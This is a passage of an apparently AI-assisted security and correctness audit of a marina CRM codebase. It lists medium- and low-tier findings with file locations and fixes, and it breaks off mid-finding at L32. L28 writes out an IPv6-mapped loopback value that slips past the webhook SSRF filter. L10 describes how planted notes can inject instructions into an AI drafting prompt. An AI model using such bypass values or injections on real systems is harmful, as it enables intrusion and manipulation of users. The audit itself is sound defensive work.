+`src/lib/socket/server.ts:46-55,67-89,116-149`
+The HTTP gate rejects `!isActive` with 403; the socket middleware/`userCanAccessPort`/`userCanJoinEntity` check only `isSuperAdmin` + a `userPortRoles` row. A deactivated rep's live tab (valid session cookie) keeps a socket and receives every `port:`-scoped broadcast (new clients, invoice totals + names, document-signed, payment amounts, note previews) until the cookie expires.
+**Fix:** Add `if (!profile.isActive) return next(new Error('Account disabled'))` in the middleware and short-circuit the can-access helpers on `!isActive`. **Confidence: 0.9**
+
+#### M11 — Socket entity-room gate is membership-only, not permission-scoped (note-preview over-exposure)
+
+`src/app/api/v1/clients/[id]/notes/route.ts:50-55`, `interests/[id]/notes/route.ts:43-48` + `src/lib/socket/server.ts:62-89`
+`userCanJoinEntity` admits any user with a `userPortRoles` row for the entity's port without consulting role permissions. A user whose role grants zero client permissions can `join:entity {type:'client'}` and receive note-content previews (`note.content.slice(0,100)`) over the socket, whereas REST `GET /clients/[id]/notes` would 403 via `withPermission('clients','view')`.
+**Fix:** Thread the role permission into `userCanJoinEntity` (require `clients.view`/`interests.view`/`berths.view`). **Confidence: 0.78**
+
+#### M12 — Self-target guard missing on `updateUser` (admin self-deactivate / self-escalate)
+
+`src/lib/services/users.service.ts:205` (handler `admin/users/[id]/route.ts:20`)
+`removeUserFromPort` blocks self-removal but `updateUser` has no equivalent; the PATCH handler passes `params.id` through unchecked. An admin can PATCH themselves `{"isActive": false}` (self-lockout) or `{"residentialAccess": true}` (self-escalation, compounding H8) — the override route blocks self-target for exactly this reason.
+**Fix:** Reject `userId === meta.userId` for privileged fields (`isActive`, `roleId`, `residentialAccess`). **Confidence: 0.8**
+
+#### M13 — Bulk-mutation endpoints have no `bulk` rate limiter (DB-amplification DoS)
+
+`src/app/api/v1/{clients,companies,yachts,interests,berths,residential/interests}/bulk/route.ts`
+`rateLimiters.bulk` (5/min) is defined but applied to zero bulk routes (`grep` → 0 hits). Each request is a large multi-row transaction; one valid session can fire unbounded bulk archive/update/transfer. The hard-delete bulk variant _is_ limited; the ordinary mutators are not.
+**Fix:** Add `withRateLimit('bulk', …)` to the bulk handlers. **Confidence: 0.75**
+
+#### M14 — Broad `api` limiter (120/min) applied to 0 of 353 v1 routes; no edge backstop
+
+`src/lib/api/helpers.ts:367-391` + `src/proxy.ts`
+Only `hardDeleteCode`/`exports`/`ocr` pass anything to `withRateLimit`; the edge middleware does auth-cookie + CSP only, no rate limiting. The entire authenticated v1 API has no per-request ceiling, and `checkRateLimit` fails open on Redis outage.
+**Fix:** Apply `withRateLimit('api', …)` as a default in `withAuth`/a shared wrapper, with tighter named limiters layered on top. **Confidence: 0.7**
+
+#### M15 — `export-pdf` route renders fully client-supplied, unbounded payload synchronously (memory/timeout DoS + arbitrary branded-PDF content)
+
+`src/app/api/v1/reports/export-pdf/route.ts:29-60,105`
+`payloadSchema` validates shape only — no `.max()` on `sections`/`rows` — then `renderToBuffer` runs inline on the request thread (gated only by `reports.view_dashboard`). A huge payload OOMs/stalls Node; content is whatever the client sent (no server re-derivation), so arbitrary text lands in a "Port Nimara"-branded PDF. The worker path caps at `REPORT_ROW_CAP=1000`; this route doesn't.
+**Fix:** Add `.max()` bounds + a total-cell budget, and/or move the render to the BullMQ worker. **Confidence: 0.8**
+
+#### M16 — S3 `presignUpload` constrains neither content-type nor size; doc comment falsely claims content-length-range
+
+`src/lib/storage/s3.ts:285-292` (caller doc `pdf-upload-url/handlers.ts:1-5`)
+`presignedPutObject(bucket, key, expiry)` signs only key+expiry; `opts.contentType`/size are dropped. A presigned-PUT holder can upload any bytes/type/size for 15 min. Blast radius is bounded because berth-pdf + brochure register paths re-HEAD + magic-byte-probe and delete non-`%PDF-` — but any future caller forgetting the re-check is an unvalidated-upload hole, and the object lives uncapped between upload and register.
+**Fix:** Move S3 to `presignedPostPolicy` (signs content-length-range + content-type), or document loudly that every consumer MUST re-validate; correct the misleading comment now. **Confidence: 0.9**
+
+#### M17 — Filesystem proxy PUT enforces global 50 MB, not the advertised per-port `berth_pdf_max_upload_mb` (15 MB)
+
+`src/app/api/storage/[token]/route.ts:172-211`
+The presign handler returns `maxBytes = getMaxUploadMb(portId)*1MB`, but the filesystem proxy PUT only checks `MAX_FILE_SIZE = 52_428_800`. A rep can upload 50 MB to a berth capped at 15 MB. Magic-byte gate still requires `%PDF-`, so not arbitrary-content; it's an advertised-vs-enforced policy mismatch.
+**Fix:** Embed the per-port byte cap in the token payload at presign and enforce it in the proxy PUT. **Confidence: 0.85**
+
+#### M18 — Single-use storage token consumed before the file is confirmed servable → permanently bricks emailed URLs on transient first-click failure
+
+`src/app/api/storage/[token]/route.ts:75-102`
+The GET handler burns the SET-NX replay key (TTL pinned to token expiry, up to 24h/25 days) **before** `fs.stat`. A transient `fs.stat` error, NFS hiccup, slow-stream disconnect, or any 5xx after line 75 leaves the token marked seen — every later attempt returns "Token already used" for the token's full life. These URLs are emailed to customers verbatim. Availability, not security.
+**Fix:** Set the replay key only after the response is successfully committed, or `DEL` it on error/`ENOENT` paths so a genuine retry succeeds. **Confidence: 0.85**
+
+#### M19 — Per-conversion `toFixed(2)` rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded
+
+`src/lib/services/currency.ts:23` + `src/lib/services/reports/financial.service.ts` (all sums: `:155,384,406,441`)
+`convert` rounds every conversion (`Number((amount*rate).toFixed(2))`); reports call it once per row inside accumulation loops, so each row is cents-rounded before adding — error accumulates up to ~±0.5¢×N. `refreshRates` stores inverse rates pre-rounded to 6dp, so `X→USD` and `USD→X` aren't exact reciprocals. Multi-currency `revenueCollected`/`netContribution`/`pipelineExpected` won't reconcile to bank statements.
+**Fix:** Sum in source currency grouped by currency, convert each bucket once at the end, round only the final figure; store rates at full precision. **Confidence: 0.8**
+
+#### M20 — Public website intake inserts a primary `interest_berths` row with `isInEoiBundle:false`, violating the primary↔bundle invariant
+
+`src/lib/services/public-interest.service.ts:237-244`
+The intake path raw-inserts `{ isPrimary:true, isSpecificInterest:true, isInEoiBundle:false }`. The canonical `upsertInterestBerthTx` forces `isInEoiBundle=true` for any primary; migration `0083` exists specifically to repair this exact drift, and there is no DB trigger/check enforcing the invariant. Every website-originated multi-berth interest gets its primary berth silently excluded from the EOI bundle, so `buildEoiContext` (`eoi-context.ts:147-152`) omits it from the multi-berth range field on the signed document until a rep re-touches the link via the service.
+**Fix:** Call `upsertInterestBerthTx(tx, newInterest.id, berthId, { isPrimary:true, isSpecificInterest:true, addedBy:'public-submission' })` instead of the raw insert. **Confidence: 0.78**
+
+#### M21 — Webhook test send ignores `isActive` while redeliver enforces it
+
+`src/lib/services/webhooks.service.ts:357-397`
+`redeliverWebhookDelivery:301` hard-rejects `!webhook.isActive`, but `sendTestWebhook` checks only ownership and never inspects `isActive`. An admin who disabled a webhook (e.g. because its endpoint was flagged) can still force a live signed POST via the test button — the most convenient trigger for the H1 redirect SSRF since the admin controls timing and event type.
+**Fix:** Mirror redeliver — reject test sends to inactive webhooks, or document the bypass deliberately. **Confidence: 0.82**
+
+#### M22 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant
+
+`src/lib/queue/workers/webhooks.ts:312-331`
+The super-admin query has no `portId` filter, so a delivery failure on Port A notifies every super-admin of every tenant with a `description` embedding admin-controlled `webhook.name` (max 200 chars) and a `/admin/webhooks/{id}` link — a cross-tenant info leak plus a minor injection vector into other tenants' notification feeds. The notification row's `portId` is the originating port, so it may surface under the wrong port context.
+**Fix:** Scope the super-admin lookup to `portId`, or route to an explicitly cross-tenant ops channel. **Confidence: 0.78**
+
+#### M23 — Invoice totals computed in JS float and persisted via `String(...)` into unbounded `numeric`; `0%` discount coerced to default 2%
+
+`src/lib/services/invoices.ts:250,270,273,322-327,350` (cols: `src/lib/db/schema/financial.ts:109-114`)
+`subtotal`/`discountAmount`/`total`/line-item `total` are float-computed and written with `String(...)` into `numeric` columns that have no precision/scale, persisting values like `"0.30000000000000004"` and `24.690999999999999`. Separately, `discountPct = Number(setting.value) || 2` (`:264`) coerces a legitimately-configured `0%` net10 discount to 2%. Blast radius capped today (invoices module default-disabled, zero dev rows), but any port that enables it bills clients these values.
+**Fix:** Round each money output to 2dp before `String(...)`; give the columns explicit `(12,2)`; use `setting.value ?? 2` so a configured 0% is honored. **Confidence: 0.85**
+
+#### M24 — Public file gate keys off user-settable `category`; any authed user can make own-port files publicly streamable _(pass-1, confirmed)_
+
+`src/app/api/public/files/[id]/route.ts:26` + `src/lib/validators/files.ts:11,18` + `src/lib/services/files.ts:186`
+`category` is a free string with no allow-list, so a user can self-set `category=branding` to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4).
+**Fix:** Reserve `branding` (server-controlled) or add an explicit `is_public` column. **Confidence: high (confirmed)**
+
+#### M25 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email
+
+`src/lib/import/classify.ts:91-108` vs `src/lib/import/commit.ts:81-118` (index: `src/lib/db/schema/clients.ts:104-109`)
+`classifyRows` never writes, so two file rows with the same brand-new email both classify `insert`; on commit the interleaved classify-then-insert ordering turns row 2 into a `skip`. For companies/berths a real unique index makes this a clean row-error, but `clientContacts` email/phone indexes are **plain `index(...)`, not unique** — the only thing preventing duplicate clients is the sequential ordering. Any future batching/parallelizing/pre-classifying the commit silently creates duplicate clients with no DB guard. (Note: the import engine is currently only wired into the BullMQ worker; no API route enqueues it yet, so this is latent until the UI lands.)
+**Fix:** Add a partial unique index on `client_contacts(port, lower(value)) WHERE channel='email'`; have `classifyRows` track in-file match keys so preview reflects commit. **Confidence: 0.85**
+
+#### M26 — Import undo only reverses inserts; `update-matches` mutations are irreversible
+
+`src/lib/import/commit.ts:139-187`
+`undoBatch` filters `action='inserted'` (`:162`), so an `update-matches` run that overwrote 500 companies' `taxId`/`billingEmail` or 500 berths' `price`/`dimensions` cannot be rolled back — the ledger stores only the entity id, not the pre-image; undo reports `deleted:0` and leaves every mutation. Separately, client undo `db.delete(clients)` relies on FK violations to block deletes but can't distinguish dependents the import created from those a user added later, and gives the operator no reason a row blocked beyond a row number.
+**Fix:** Capture a JSON pre-image in `import_batch_rows` for updated rows and support update-undo; document `update-matches` as destructive-without-rollback until then; carry the blocking FK/table in blocked-row reporting. **Confidence: 0.8**
+
+#### M27 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger
+
+`src/lib/import/commit.ts:76-79` + `src/lib/queue/workers/import.ts:34-52`
+`commitBatch` unconditionally sets `status:'committing'` and re-processes every row; the worker never checks `batch.status`. `maxAttempts:1` blocks BullMQ auto-retry, but a future commit endpoint or operator re-trigger re-runs the whole file — appending a second full set of `import_batch_rows` so undo later sees both run-1 inserts and run-2 skips and header counts no longer reconcile with the ledger undo trusts.
+**Fix:** Early-return in the worker when `batch.status` is not in `{dry_run, uploaded}`; gate the transition with `UPDATE … WHERE status IN (…)` and bail on 0 rows. **Confidence: 0.8**
+
+#### M28 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage
+
+`src/app/api/v1/residential/interests/bulk/route.ts:22-27` vs `src/lib/validators/residential.ts:73-83` + `src/lib/services/residential.service.ts:553`
+Bulk hardcodes `z.enum(PIPELINE_STAGES)` (the 7 built-ins), so after any admin stage customization a bulk `change_stage` to a custom stage 400s. The per-row path uses `z.string()` and writes it straight through with no membership check, so `PATCH {pipelineStage:"anything"}` parks an interest on a non-existent stage that then surfaces as an orphan in `findOrphanInterests` and distorts funnel reports.
+**Fix:** Replace the hardcoded enum with a runtime check against `listStages(portId)` in both the bulk handler and `updateResidentialInterest`. **Confidence: 0.85**
+
+#### M29 — Tenancies auto-create re-enables a module an admin explicitly disabled
+
+`src/lib/services/tenancies-module.service.ts:35-69,76-87` + `berth-tenancies.service.ts:150-151` (+ `documents.service.ts:1687` webhook path)
+`createPending` calls `enableTenanciesModule(portId)` unconditionally inside its tx, UPSERTing the setting back to `true`, and the webhook `autoCreatePendingTenancies` deliberately does not gate on `isTenanciesModuleEnabled`. So: admin disables Tenancies → a Reservation Agreement completes → the module flips itself back on and reappears in the sidebar, contradicting the "explicit false always wins" precedence.
+**Fix:** Only call `enableTenanciesModule` when the setting is unset (respect an explicit `false`), or have it no-op when a stored `false` exists. **Confidence: 0.72**
+
+_(MEDIUM tier = 29 distinct findings, M1–M29: M1–M18 carry the pass-3 MEDIUMs, M19–M29 carry the pass-1+2 MEDIUMs. No within-tier merges occurred at MEDIUM — all merges were in the CRITICAL/HIGH tiers.)_
+
+---
+
+### LOW
+
+#### L1 — `clearInterestOutcome` reopen-stage default references a dead `'completed'` sentinel
+
+`src/lib/services/interests.service.ts:1463-1465`
+`pipelineStage === 'completed' ? 'qualified' : …` is dead after the 9→7 migration; any legacy row still holding `'completed'` reopens to `qualified` rather than its true pre-close stage.
+**Fix:** Drop the dead branch or route via `canonicalizeStage`. **Confidence: 0.7**
+
+#### L2 — `STAGE_TRANSITIONS` blocks the only forward edge into `nurturing` from `enquiry`
+
+`src/lib/constants.ts:140-148`
+`enquiry: ['qualified','eoi']` omits `nurturing`; a new enquiry must pass through `qualified` (or override) to be parked as nurturing. Minor state-graph/UX gap.
+**Fix:** Add `nurturing` to the `enquiry` transition set. **Confidence: 0.6**
+
+#### L3 — Berth-recommender stage-scale mismatch classifies `reservation`-stage berths as Tier D ("late stage") and hides them `[needs-confirm]`
+
+`src/lib/services/berth-recommender.service.ts:213` vs `:556-568`
+`LATE_STAGE_THRESHOLD` derives from a JS map (`deposit_paid=5`) but the SQL CASE uses a different 1-7 scale (`reservation=5`). `classifyTier` compares SQL-scale `>= 5`, so reservation-stage interests trip late-stage and the berth is suppressed when `tier_ladder_hide_late_stage` is on (default true). Lane rated this HIGH; demoted to LOW + `[needs-confirm]` — impact is recommender-ranking only (no money/public-status effect) and rests on the two scales genuinely diverging at runtime; warrants a direct trace before fixing.
+**Fix:** Make the SQL CASE emit the same scale as `STAGE_ORDER`, single source of truth. **Confidence: 0.8 (code), severity disputed.**
+
+#### L4 — Recommender `classifyTier` dead branch + unreachable "under offer" (space) variant
+
+`src/lib/services/berth-recommender.service.ts:240-242`
+`return t.activeInterestCount > 0 ? 'C' : 'C'` is dead; `normStatus === 'under offer'` (space) never matches the canonical `under_offer`. Cosmetic; behavior correct.
+**Fix:** Collapse to `if (normStatus === 'under_offer') return 'C';`. **Confidence: 0.95**
+
+#### L5 — Orphaned storage blob + `files` row on mid-render retry
+
+`src/lib/services/report-render.service.ts:278-296` + `reports.service.tsx:276-307`
+Neither path guards the `backend.put` + `files` insert against re-execution; a crash between put and the status/`fileId` write leaves an unreferenced orphan on BullMQ retry (`reports` maxAttempts 3). Correct `portId`; cost/cosmetic only.
+**Fix:** Deterministic storage key per run + `onConflictDoNothing`, or early-return when the run already has a `storageKey`/`fileId`. **Confidence: 0.7**
+
+#### L6 — Non-atomic SELECT-then-UPDATE in report scheduler would double-fire under multiple worker replicas `[needs-confirm]`
+
+`src/lib/queue/workers/reports.ts:31-90`
+Both pollers `SELECT WHERE nextRunAt <= now` then `UPDATE nextRunAt` with no `FOR UPDATE SKIP LOCKED`. Safe today (single `crm-worker`, concurrency 1) but a foot-gun the moment `MULTI_NODE_DEPLOYMENT` adds a replica → duplicate runs + email blasts.
+**Fix:** Atomic claim (`UPDATE … WHERE id IN (SELECT … FOR UPDATE SKIP LOCKED) RETURNING`). **Confidence: 0.75 (latent).**
+
+#### L7 — `send-notification-email` omits `portId`, bypassing per-port send-from / branding
+
+`src/lib/queue/workers/notifications.ts:95-99`
+Unlike every other `sendEmail` call site, this one omits `portId`, so `getPortEmailConfig` is never consulted and the mail goes via the global default SMTP/From. Subject prefix is port-derived but the envelope From is not — in multi-port, tenant B's notifications send from tenant A's/global identity.
+**Fix:** Pass `notif.portId` to `sendEmail`. **Confidence: 0.8**
+
+#### L8 — Worker-local `recordAiUsage` duplicate diverges from the non-throwing service version (budget-accounting drift)
+
+`src/lib/queue/workers/ai.ts:33-47`
+The worker defines its own `recordAiUsage` (bare `db.insert`, trusts caller-passed `totalTokens`) instead of importing the service version (try/catch, derives `totalTokens = input+output`). If `usage.total_tokens` diverges from prompt+completion, budget accounting corrupts.
+**Fix:** Delete the worker copy, call the service `recordAiUsage`. **Confidence: 0.7**
+
+#### L9 — AI spend cap disabled by default (`DEFAULT_BUDGET.enabled=false`)
+
+`src/lib/services/ai-budget.service.ts:34,152-155`
+`checkBudget` short-circuits to `{ ok:true, remaining:+Infinity }` when `!enabled`, so a port that never opens the AI-budget screen has no cap even on the OCR path that does call `checkBudget`. Default posture is "unlimited AI spend per tenant."
+**Fix:** Ship a conservative enabled default, or warn when AI features are flag-enabled while budget is disabled. **Confidence: 0.8**
+
+#### L10 — Stored prompt injection via interest notes / email subjects (unsanitized into AI prompt)
+
+`src/lib/queue/workers/ai.ts:165,168`
+`additionalInstructions` is sanitized + data-fenced, but recent notes (`n.content.slice(0,200)`) and recent email subjects are injected raw in the same user-role message, above the fenced block. Insider/stored-injection only (notes are internal-rep-written, not portal/public); output is bounded (10KB cap, JSON-only `response_format`) so no trivial system-prompt exfil — but a planted note can steer a colleague's generated draft (malicious link, off-brand content).
+**Fix:** Run notes + subjects through `sanitizeForPrompt` + the same data-fence. **Confidence: 0.85**
+
+#### L11 — Documenso v2: persisting a `null` `documensoNumericId` makes `DOCUMENT_COMPLETED` webhooks silently no-op `[needs-confirm]`
+
+`src/lib/services/documenso-client.ts:578` + persist `document-templates.ts:737,849`
+`normalizeDocument` derives `numericId` only when `r.id` is numeric; v2 webhooks carry only the numeric pk as `payload.id` while `documents.documensoId` holds the `envelope_xxx` string. If `/template/use` doesn't surface the numeric pk under `r.id` (tests assert `numericId: null` is routine), `resolveWebhookDocument` matches neither column → completion dropped (signed PDF never downloads, stage never advances, no completion email/tenancy) until the poll worker reconciles via `documensoId`. Degraded-not-broken → HIGH per lane, but lane self-rated confidence 0.6 (depends on the exact `/template/use` v2 response shape, unobserved live) → `[needs-confirm]`.
+**Fix:** Re-fetch `getDocument(created.id)` for an authoritative `numericId`, or assert non-null at persist with a GET fallback; add a v2 numeric-webhook round-trip integration test. **Confidence: 0.6**
+
+#### L12 — No normalization/validation of admin-set Documenso API URL → silent double-pathing 404s
+
+`src/lib/services/port-config.ts:444` + `validators/settings.ts:4-5`
+`upsertSettingSchema` validates `value: z.unknown()`; the admin override (canonical) isn't `.url()`-checked like the env var. An admin pasting `…/api/v1` or a trailing slash yields `…/api/v1/api/v2/envelope/create` → 404 on every send/download, surfaced only as a generic `DOCUMENSO_UPSTREAM_ERROR`.
+**Fix:** Strip trailing `/api/v1`|`/api/v2`+slashes and `z.string().url()`-validate the override key. **Confidence: 0.85**
+
+#### L13 — Documenso `completed` event insert lacks `signatureHash` + `onConflictDoNothing` (duplicate timeline rows)
+
+`src/lib/services/documents.service.ts:1746-1750`
+Unlike every sibling handler, the completion insert has no conflict clause; a failed-download-then-retry accumulates duplicate `completed` rows. Separately, the `viewed` insert (line 1903) passes `signatureHash` but not `recipientEmail`, so `idx_de_per_recipient_dedup` has a null key and can't dedup v2 multi-delivery opens. Cosmetic; no state corruption (completion gated by `status='completed' && signedFileId`).
+**Fix:** Add `signatureHash` + `.onConflictDoNothing()` to the completed insert; populate `recipientEmail` on viewed. **Confidence: 0.9**
+
+#### L14 — GDPR builder docstring overstates `portId` filtering
+
+`src/lib/services/gdpr-bundle-builder.ts:78-82` vs `:111-119,160-162,172-175`
+The docstring claims every query filters by `portId`, but `clientContacts/clientAddresses/clientRelationships/clientNotes/clientTags/formSubmissions/scratchpadNotes/portalUsers` filter by `clientId` only. Safe (clientId is a globally-unique UUID, client pre-validated against `portId`), but the comment overstates the guarantee.
+**Fix:** Add redundant `portId` predicates (defense-in-depth) or correct the comment. **Confidence: 0.8**
+
+#### L15 — Hard-deleting a merge-winner NULLs loser redirect breadcrumbs (`merged_into_client_id`)
+
+`src/lib/db/migrations/0042_missing_fk_constraints.sql:156` + `client-hard-delete.service.ts`
+The self-FK is `ON DELETE SET NULL`; hard-delete doesn't proactively migrate pointers, so archived losers' redirect breadcrumb silently breaks. Benign (no FK violation, no cross-tenant issue).
+**Fix:** Note in the hard-delete cascade comment. **Confidence: 0.75**
+
+#### L16 — Email/bounce hardening nits (parsed recipient not validated; raw header/footer HTML; subject-token CRLF)
+
+`src/lib/email/bounce-parser.ts:95-107`, `src/lib/email/shell.ts:83,85` + `port-config.ts:606-607`, `src/lib/email/template-overrides.ts:36-39`
+(a) `originalRecipient` from untrusted IMAP body is never run through `assertEmailValid` before query/notify (no SQLi/injection, but can falsely match/pollute the notification string); (b) `emailHeaderHtml`/`emailFooterHtml` interpolated raw into every transactional email — intentional `manage_settings`-gated branding feature, so self-XSS-by-highest-privilege; (c) `applySubjectTokens` does no CRLF neutralization (nodemailer strips CR/LF, so safe in practice).
+**Fix:** Validate the parsed recipient against `RFC5322_EMAIL`; optionally allowlist-sanitize header/footer HTML for multi-admin tenants. **Confidence: 0.6–0.8**
+
+#### L17 — Storage hardening nits (Content-Type echoed from signed token; dev HMAC seed reuse; access-key in fingerprint)
+
+`src/app/api/storage/[token]/route.ts:109`, `src/lib/storage/filesystem.ts:431-446` + `index.ts:211-213`
+(a) GET proxy sets `Content-Type` from signed `payload.c` with no allow-list (`nosniff` + sometimes-`attachment` mitigate; issuer-trust only, not forgeable); (b) dev HMAC fallback reuses `BETTER_AUTH_SECRET` (guarded to dev, throws in prod — acceptable); (c) `fingerprint()` JSON-stringifies the decrypted S3 access key into a process-lifetime string (secret key stays encrypted). Low impact, in-process only.
+**Fix:** Constrain `payload.c` to `ALLOWED_MIME_TYPES` (or force `attachment`); fingerprint on a hash of config, not raw decrypted values. **Confidence: 0.6–0.75**
+
+#### L18 — UI: decorative emoji violate the named-icon-component doctrine (3 sites)
+
+`src/components/documents/hub-root-view.tsx:156` (`folder`), `src/components/admin/documenso/template-sync-button.tsx:328` (`warning`), `src/components/admin/onboarding-checklist.tsx:265` (party toast)
+MEMORY explicitly flags decorative emoji as cheap/AI-like; the app uses Lucide icons everywhere else. _(Bundled — 3 instances of one rule violation.)_
+**Fix:** Replace with `<Folder>`/`<AlertTriangle>` and drop the toast party emoji (toasts already render a status icon). **Confidence: ~0.9**
+
+#### L19 — UI: NotesList runs a 30s wall-clock interval on every mount + `use-create-from-url` stale-closure suppression
+
+`src/components/shared/notes-list.tsx:185-189`, `src/hooks/use-create-from-url.ts:17-26`
+(a) `setInterval(setNow, 30_000)` ticks unconditionally to drive the edit-countdown, re-rendering every open NotesList even when nothing is editable; (b) `onOpen` is excluded from effect deps via eslint-disable — currently safe (fires once, strips the param) but fragile.
+**Fix:** Schedule the interval only when a note is inside its edit window; wrap `onOpen` in a ref/`useCallback`. **Confidence: 0.55–0.7**
+
+#### L20 — Socket: port-less connection allowed; `join:entity` `type` not runtime-validated; connection-state-recovery restores rooms
+
+`src/lib/socket/server.ts:108,133-144,164-172`
+(a) a socket connecting with no `auth.portId` is allowed (joins no `port:` room) but can still `join:entity` — safely gated by `userCanJoinEntity`'s DB lookup, so no leak; (b) `join:entity` trusts the TS union and doesn't zod/allow-list `{type,id}` — fails closed today (`entityPortId=null` → false) but is an untyped trust boundary; (c) `connectionStateRecovery` restores prior rooms on reconnect but re-runs middleware (cookie re-validated), so revoked sessions are rejected — only residual is a ≤2-min window retaining an old room mid-disconnect. _(Bundled defense-in-depth nits.)_
+**Fix:** Reject port-less connections or document them; add `z.enum(['berth','client','interest'])`+uuid validation at the handler top. **Confidence: 0.6–0.72**
+
+#### L21 — Rate-limiter sliding window admits `max + 1` requests (off-by-one) `[needs-confirm]`
+
+`src/lib/rate-limit.ts:48,52`
+`zadd` records before `zcard` counts and `allowed: count <= config.max`, so the limiter admits `max+1` per window. Lane reasoning is self-contradicting in the report; flagged `[needs-confirm]`. Affects every limiter uniformly, minor.
+**Fix:** `count < config.max` after the add, or `zcard` before `zadd`. **Confidence: 0.75**
+
+#### L22 — Brochure presign omits `portSlug`, skipping the proxy port-binding (`p`) token field
+
+`src/app/api/v1/admin/brochures/[id]/versions/route.ts:31-34`
+Berth-PDF presign passes `portSlug` (engaging the `p`-binding check); brochure presign doesn't, so brochure tokens skip the port-namespace assertion. Defense-in-depth only (`validateStorageKey` already blocks traversal; `generateBrochureStorageKey` is server-controlled).
+**Fix:** Pass `portSlug` in the brochure presign opts. **Confidence: 0.9**
+
+#### L23 — Divergent permission catalogs (roles validator vs override allow-list)
+
+`src/lib/validators/roles.ts:5-18` vs `permission-overrides/route.ts:37-85`
+`rolePermissionsSchema` uses `z.record(z.string(), z.boolean())` (accepts arbitrary action keys) and is missing resources the override `ALLOWED_RESOURCE_ACTIONS` includes (`yachts`, `companies`, `memberships`, `tenancies`, `residential_*`, `document_templates`). Super-admin-gated, so inert leaves only pollute the matrix/audit diffs.
+**Fix:** Unify into one source of truth. **Confidence: 0.6**
+
+#### L24 — Deposit gate has no lower-bound re-lock after a refund; float-summed `>=` boundary
+
+`src/lib/services/payments.service.ts:132` + `getDepositTotalForInterest`
+With `toFixed(2)` masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, `dateDepositReceived` stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H12 where refunds may not even subtract in some readers.
+**Fix:** Round both sides to cents before compare; on refund recompute the gate condition and reverse/flag the stage/berth state when net drops below expected. **Confidence: 0.7**
+
+#### L25 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts
+
+`src/lib/services/currency.ts:8-14` + `src/lib/services/reports/currency.ts:31`
+`getRate` returns null for unknown pairs and `normalizeAmount` falls back to `?? amount`, adding an unconverted foreign amount straight into the port-currency total (5000 JMD added as literal 5000 to a EUR total). No max-age check on `currencyRates.fetchedAt`; `refreshRates` swallows all errors (`:71`), so a months-stale rate is used silently.
+**Fix:** Surface a "could not normalize" flag in the report payload when `convert` returns null; reject rates older than a threshold; don't swallow `refreshRates` failures. **Confidence: 0.65**
+
+#### L26 — `companyNotes` create-response overwrites real `updatedAt` with `createdAt`; stale doc + dead defensive code
+
+`src/lib/services/notes.service.ts:932` (+ `src/lib/db/schema/companies.ts:131`)
+The schema now defines a real `companyNotes.updatedAt`, contradicting the documented "lacks updatedAt" contract. The create path still substitutes `createdAt` while `update()` and the aggregator read the real column — so the create response's `updatedAt` differs from a subsequent read. Cosmetic.
+**Fix:** Drop the `updatedAt: note.createdAt` override; update CLAUDE.md. **Confidence: 0.7**
+
+#### L27 — Two junction-insert paths bypass the cross-port guard in `upsertInterestBerthTx`
+
+`src/lib/services/public-interest.service.ts:237` & `src/lib/services/client-restore.service.ts:380`
+`upsertInterestBerthTx` asserts `interest.portId === berth.portId`; the two raw inserts skip it. Both currently resolve `berthId` from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M20's fix (use the service).
+**Fix:** Route both through `upsertInterestBerthTx`. **Confidence: 0.6**
+
+_(Additional LOW-tier items from pass 1+2 carried below; the IPv6-SSRF, TOCTOU-rebind, redeliver-replay, pending-on-active-berth, tenancy socket/saveStages, import header-mapping, API-envelope, and import-port-trust clusters are renumbered L28–L35 to keep all distinct findings.)_
+
+#### L28 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts `[::ffff:127.0.0.1]` etc.
+
+`src/lib/validators/webhooks.ts:56-60`
+The `::ffff:` handler expects a dotted-quad tail but Node normalizes the hostname to hex (`[::ffff:7f00:1]`), so `isBlockedIpv4` never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently downgraded to LOW because the worker's `resolveAndCheckHost` throws `ENOTFOUND` on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form.
+**Fix:** Parse the IPv6 hostname properly (reconstruct from hextets or use `net.isIP` + a real IPv6 range library) and block `::ffff:` mapped ranges by hex encoding. **Confidence: 0.9**
+
+#### L29 — TOCTOU between validation `lookup()` and `fetch()`'s independent re-resolution (residual DNS rebind)
+
+`src/lib/queue/workers/webhooks.ts:18-45` vs `:224`
+`resolveAndCheckHost` checks resolved IPs but `fetch` re-resolves the hostname; the validated IP is not pinned, leaving a short-TTL rebind window. Lower priority than H1 (redirect is the easier path to the same target).
+**Fix:** Resolve once and pin the address (custom undici Agent with fixed `lookup`, or connect by IP with Host/SNI preserved); reject if the connected peer IP is private. **Confidence: 0.7**
+
+#### L30 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated
+
+`src/lib/queue/workers/webhooks.ts:69` + `src/lib/services/webhooks.service.ts:312-316`
+Redeliver clones `source.payload` and the worker regenerates `id`/timestamp at send (`:142-149`) while `data` stays stale — so a replay carries a fresh signature + fresh `X-Webhook-Timestamp` over old data, and the delivery id changes per redeliver. A receiver relying solely on transport timestamp/delivery-id freshness accepts arbitrarily old event data as fresh. Semantics/documentation gap.
+**Fix:** Document that redeliver intentionally re-signs stale data; surface the original event time inside `data` for business-level freshness checks. **Confidence: 0.6**
+
+#### L31 — `createPending` allows unlimited pending rows on an already-active berth (dead-end UX)
+
+`src/lib/services/berth-tenancies.service.ts:93-179`
+`createPending` never consults active-tenancy state; the partial unique index only covers `active`, so any number of `pending` rows insert on a fully-occupied berth and all `ConflictError` one-at-a-time at activate. No data corruption; confusing UX and dashboard noise.
+**Fix:** Query for an existing active tenancy in `createPending` and warn/soft-block or surface it in the create response. **Confidence: 0.78**
+
+#### L32 — Tenancy cluster: wrong socket event + non-transactional `saveStages` _(two minor items)_
+
+`src/lib/services/berth-tenancies.service.ts:401-404` and `src/lib/services/residential-stages.service.ts:91-167`
